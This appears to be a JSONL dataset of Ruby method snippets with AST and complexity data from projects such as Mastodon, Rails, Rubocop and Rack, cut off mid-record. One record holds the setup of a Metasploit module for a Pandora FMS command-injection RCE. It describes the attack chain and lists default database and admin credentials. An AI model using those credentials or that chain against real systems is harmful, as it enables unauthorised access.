{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20220613110903_remove_irreversible_from_custom_filters.rb","start_line":12,"raw_source":"def down\n    safety_assured do\n      add_column :custom_filters, :irreversible, :boolean, null: false, default: false\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"custom_filters\"]},{\"type\":\"sym\",\"children\":[\"irreversible\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"7775cbc1-5ea8-4431-8714-db31abbe5198"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/account_controller.rb","start_line":37,"raw_source":"def update_service\n            Spree::Api::Dependencies.storefront_account_update_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_account_update_service\"]},\"constantize\"]}]}","id":"ff871906-f4de-4a01-8653-fcffa1dd4260"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/transliterate_test.rb","start_line":61,"raw_source":"def test_transliterate_handles_strings_with_valid_utf8_encodings\n    string = String.new(\"A\", encoding: Encoding::UTF_8).freeze\n    assert_equal \"A\", ActiveSupport::Inflector.transliterate(string)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transliterate_handles_strings_with_valid_utf8_encodings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\",{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]}]}]},\"freeze\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"transliterate\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}]}","id":"303c529d-7d18-4f23-add7-1c1f5026c28c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fan_out_on_write_service.rb","start_line":27,"raw_source":"def check_race_condition!\n    # I don't know why but at some point we had an issue where\n    # this service was being executed with status objects\n    # that had a null visibility - which should not be possible\n    # since the column in the database is not nullable.\n    #\n    # This check re-queues the service to be run at a later time\n    # with the full object, if something like it occurs\n\n    raise Mastodon::RaceConditionError if @status.visibility.nil?\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_race_condition!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"visibility\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"RaceConditionError\"]}]},null]}]}","id":"18f577e7-d38f-4700-b93a-8c45c07d8529"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1251,"raw_source":"def group_ids\n      joins(:namespace).where(namespaces: { type: Group.sti_name }).select(:namespace_id)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"group_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"sti_name\"]}]}]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}","id":"c28a431d-ceff-4f16-9f99-1accd4522c3a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/spec/support/pages/team_planner.rb","start_line":38,"raw_source":"def initialize(project)\n      super\n\n      @filters = ::Components::WorkPackages::Filters.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@filters\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Components\"]},\"WorkPackages\"]},\"Filters\"]},\"new\"]}]}]}]}","id":"47477430-46fd-4592-9801-470a0eb4f528"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_methods.rb","start_line":296,"raw_source":"def found_attr(node, args, readable: false, writable: false)\n          args.each do |arg|\n            name = sym_name(arg)\n            next unless name\n\n            found_instance_method(node, name) if readable\n            found_instance_method(node, \"#{name}=\") if writable\n          end\n        end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"found_attr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"kwoptarg\",\"children\":[\"readable\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"writable\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"sym_name\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"readable\"]},{\"type\":\"send\",\"children\":[null,\"found_instance_method\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writable\"]},{\"type\":\"send\",\"children\":[null,\"found_instance_method\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]}]},null]}]}]}]}","id":"b09b83e6-77aa-44b0-9134-1ec0ddc256d8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail/group_watch.rb","start_line":146,"raw_source":"def add(path)\n        @current_paths[path] = FileCounter.new(0, nil)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_paths\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileCounter\"]},\"new\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"5762ccc7-789b-4570-943b-3226aaad4d4e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/authentication_mixin.rb","start_line":340,"raw_source":"def authentication_check_types(*args)\n    options = args.extract_options!\n\n    # Let the individual classes determine what authentication(s) need to be checked\n    types = authentications_to_validate if respond_to?(:authentications_to_validate)\n    types = args.first                  if types.blank?\n    types = [nil]                       if types.blank?\n    Array(types).each do |t|\n      success = authentication_check(t, options.except(:attempt)).first\n      retry_scheduled_authentication_check(t, options) unless success\n    end\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_check_types\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"authentications_to_validate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[null,\"authentications_to_validate\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"types\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_check\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"except\",{\"type\":\"sym\",\"children\":[\"attempt\"]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},null,{\"type\":\"send\",\"children\":[null,\"retry_scheduled_authentication_check\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"355f755c-7686-4cb8-beef-cc0a85e07eed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb","start_line":20,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password',\n        'Description' => %q{\n          Pandora FMS is a monitoring solution that provides full observability for your organization's\n          technology. This module exploits an command injection vulnerability in the LDAP authentication\n          mechanism of Pandora FMS.\n          You need have admin access at the Pandora FMS Web application in order to execute this RCE.\n          This access can be achieved leveraging a default password vulnerability in Pandora FMS that\n          allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain\n          administrative access to the Pandora FMS Web application. This attack can be remotely executed\n          over the WAN as long as the MySQL services are exposed to the outside world.\n          This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4\n        },\n        'Author' => [\n          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness\n          'Askar mhaskar', # POC Github CVE-2024-11320\n        ],\n        'References' => [\n          ['CVE', '2024-11320'],\n          ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],\n          ['URL', 'https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix', 'linux', 'php'],\n        'Privileged' => false,\n        'Arch' => [ARCH_CMD, ARCH_PHP],\n        'Targets' => [\n          [\n            'PHP Command',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP,\n              'Type' => :php_cmd\n            }\n          ],\n          [\n            'Unix/Linux Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2024-11-21',\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to the Pandora FMS application', '/pandora_console']),\n      OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandora']),\n      OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']),\n      OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']),\n      OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),\n      OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),\n      OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora'])\n    ])\n  end","complexity_score":13.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Pandora FMS is a monitoring solution that provides full observability for your organization's\\n\"]},{\"type\":\"str\",\"children\":[\"          technology. This module exploits an command injection vulnerability in the LDAP authentication\\n\"]},{\"type\":\"str\",\"children\":[\"          mechanism of Pandora FMS.\\n\"]},{\"type\":\"str\",\"children\":[\"          You need have admin access at the Pandora FMS Web application in order to execute this RCE.\\n\"]},{\"type\":\"str\",\"children\":[\"          This access can be achieved leveraging a default password vulnerability in Pandora FMS that\\n\"]},{\"type\":\"str\",\"children\":[\"          allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain\\n\"]},{\"type\":\"str\",\"children\":[\"          administrative access to the Pandora FMS Web application. This attack can be remotely executed\\n\"]},{\"type\":\"str\",\"children\":[\"          over the WAN as long as the MySQL services are exposed to the outside world.\\n\"]},{\"type\":\"str\",\"children\":[\"          This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die-gr3y <h00die.gr3y[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Askar mhaskar\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-11320\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"php_cmd\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-11-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the Pandora FMS application\"]},{\"type\":\"str\",\"children\":[\"/pandora_console\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_USER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pandora database admin user\"]},{\"type\":\"str\",\"children\":[\"pandora\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pandora database admin password\"]},{\"type\":\"str\",\"children\":[\"Pandor4!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pandora database\"]},{\"type\":\"str\",\"children\":[\"pandora\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_PORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"MySQL database port\"]},{\"type\":\"int\",\"children\":[3306]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pandora web admin user\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Pandora web admin password\"]},{\"type\":\"str\",\"children\":[\"pandora\"]}]}]}]}]}]}]}","id":"824de1eb-83e5-4fce-a292-7c010481c402"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/one_line_conditional.rb","start_line":126,"raw_source":"def expr_replacement(node)\n          return 'nil' if node.nil?\n\n          requires_parentheses?(node) ? \"(#{node.source})\" : node.source\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expr_replacement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"nil\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"requires_parentheses?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]}]}]}","id":"55025928-ea01-4f92-ba75-0e0158ee4f6e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":2248,"raw_source":"def set_skip_validate_email\n    self.primary_email.skip_validate_email = !should_validate_email_address? if self.primary_email\n\n    true\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_skip_validate_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"primary_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"primary_email\"]},\"skip_validate_email=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_validate_email_address?\"]},\"!\"]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"cf7601ea-3953-4d2c-92b1-992ccfbd46ef"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/files.rb","start_line":73,"raw_source":"def serving(request, path)\n      if request.options?\n        return [200, { 'allow' => ALLOW_HEADER, CONTENT_LENGTH => '0' }, []]\n      end\n      last_modified = ::File.mtime(path).httpdate\n      return [304, {}, []] if request.get_header('HTTP_IF_MODIFIED_SINCE') == last_modified\n\n      headers = { \"last-modified\" => last_modified }\n      mime_type = mime_type path, @default_mime\n      headers[CONTENT_TYPE] = mime_type if mime_type\n\n      assign_headers(headers, request)\n\n      status = 200\n      size = filesize path\n\n      ranges = Rack::Utils.get_byte_ranges(request.get_header('HTTP_RANGE'), size)\n      if ranges.nil?\n        # No ranges:\n        ranges = [0..size - 1]\n      elsif ranges.empty?\n        # Unsatisfiable. Return error, and file size:\n        response = fail(416, \"Byte range unsatisfiable\")\n        response[1][\"content-range\"] = \"bytes */#{size}\"\n        return response\n      else\n        # Partial content\n        partial_content = true\n\n        if ranges.size == 1\n          range = ranges[0]\n          headers[\"content-range\"] = \"bytes #{range.begin}-#{range.end}/#{size}\"\n        else\n          headers[CONTENT_TYPE] = \"multipart/byteranges; boundary=#{MULTIPART_BOUNDARY}\"\n        end\n\n        status = 206\n        body = BaseIterator.new(path, ranges, mime_type: mime_type, size: size)\n        size = body.bytesize\n      end\n\n      headers[CONTENT_LENGTH] = size.to_s\n\n      if request.head?\n        body = []\n      elsif !partial_content\n        body = Iterator.new(path, ranges, mime_type: mime_type, size: size)\n      end\n\n      [status, headers, body]\n    end","complexity_score":65.38,"ast_json":"{\"type\":\"def\",\"children\":[\"serving\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"options?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"allow\"]},{\"type\":\"const\",\"children\":[null,\"ALLOW_HEADER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONTENT_LENGTH\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_modified\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"mtime\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"httpdate\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"get_header\",{\"type\":\"str\",\"children\":[\"HTTP_IF_MODIFIED_SINCE\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"last_modified\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[304]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last-modified\"]},{\"type\":\"lvar\",\"children\":[\"last_modified\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mime_type\",{\"type\":\"send\",\"children\":[null,\"mime_type\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"ivar\",\"children\":[\"@default_mime\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[null,\"CONTENT_TYPE\"]},{\"type\":\"lvar\",\"children\":[\"mime_type\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"assign_headers\",{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"int\"